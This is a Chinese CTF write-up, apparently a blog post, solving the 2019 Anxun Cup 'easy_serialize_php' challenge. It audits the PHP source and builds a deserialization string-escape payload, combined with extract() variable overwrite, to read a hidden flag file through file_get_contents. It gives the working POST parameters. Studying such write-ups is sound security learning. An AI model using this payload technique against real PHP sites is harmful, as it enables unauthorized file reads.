[安洵杯 2019]easy_serialize_php

[安洵杯 2019]easy_serialize_php

在这里插入图片描述

本题考点:

  1. 反序列化的字符串逃逸(变少)
  2. extract()变量覆盖

思考过程:

  1. 首先代码审计可以看到几个关键点

    function filter($img){
        $filter_arr = array('php','flag','php5','php4','fl1g');
        $filter = '/'.implode('|',$filter_arr).'/i';
        return preg_replace($filter,'',$img);
    }
    //这里是将敏感词替换为空,造成了字符减少,我们就有了字符串逃逸的操作空间
    
    $_SESSION["user"] = 'guest';
    $_SESSION['function'] = $function;
    
    extract($_POST);
    //extract()函数的变量覆盖,使得上面两个参数可控
    
    if(!$_GET['img_path']){
        $_SESSION['img'] = base64_encode('guest_img.png');
    }else{
        $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
    }
    //这里我们要么让guest_img.png逃逸,要么后面能消除sha1()函数的影响
    
    if($function == 'phpinfo'){
        eval('phpinfo();'); //maybe you can find something in here!
    }else if($function == 'show_image'){
        $userinfo = unserialize($serialize_info);
        echo file_get_contents(base64_decode($userinfo['img']));
    }
    //file_get_contents()函数可以读取敏感文件
    //$userinfo['img']只进行了base64解码,结合前面我们需要让guset_img.png逃逸
    //继续跟进$userinfo['img']的入口,$userinfo = unserialize($serialize_info);  $serialize_info = filter(serialize($_SESSION));
    //所以是$_SESSION序列化后被filter函数处理,再反序列化赋给userinfo,最后取出img这个键对应的值
    
  2. 我们目的是通过file_get_content()读取敏感文件,通过提示在phpinfo中发现可疑文件
    在这里插入图片描述

  3. 入口有了出口有了路径也有了,开始分析怎么一步一步过去

    首先康康反序列化结果长啥样吧

    <?php
    $_SESSION["user"] = '*';
    $_SESSION['function'] = '**';
    $_SESSION['img'] = base64_encode('guest_img.png');
    echo serialize($_SESSION);
    
    //a:3:{s:4:"user";s:1:"*";s:8:"function";s:2:"**";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
    
  4. 因为我们要让guest_img.png逃逸换成,那我们function就应该为;s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";},让前面user的值被filter()函数替换掉,让";s:8:"function";s:40:这22个字符成为user的值,img成为一个键,但是本来是有三个键,因此我们这里还需要自己写一个键,最终结果为

    <?php
    $_SESSION["user"] = 'phpphpphpflagphpphpphp';
    $_SESSION['function'] = ';s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1:"a";s:1:"a";}';
    $_SESSION['img'] = base64_encode('guest_img.png');
    echo serialize($_SESSION);
    

    a:3:{s:4:“user”;s:22:“phpphpphpflagphpphpphp”;s:8:“function”;s:56:“;s:3:“img”;s:20:“ZDBnM19mMWFnLnBocA==”;s:1:“a”;s:1:“a”;}”;s:3:“img”;s:20:“Z3Vlc3RfaW1nLnBuZw==”;}

    经过filter函数处理后
    a:3:{s:4:“user”;s:22:“";s:8:“function”;s:56:”;s:3:“img”;s:20:“ZDBnM19mMWFnLnBocA==”;s:1:“a”;s:1:“a”;}";s:3:“img”;s:20:“Z3Vlc3RfaW1nLnBuZw==”;}

  5. 那么POST传入参数
    _SESSION[user]=phpphpphpflagphpphpphp&_SESSION[function] =;s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1:"a";s:1:"a";}

  6. 查看源码发现flag在/d0g3_fllllllag中,base64编码后再次传参读取即可
    _SESSION[user]=phpphpphpflagphpphpphp&_SESSION[function] =;s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";s:1:"a";s:1:"a";}

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值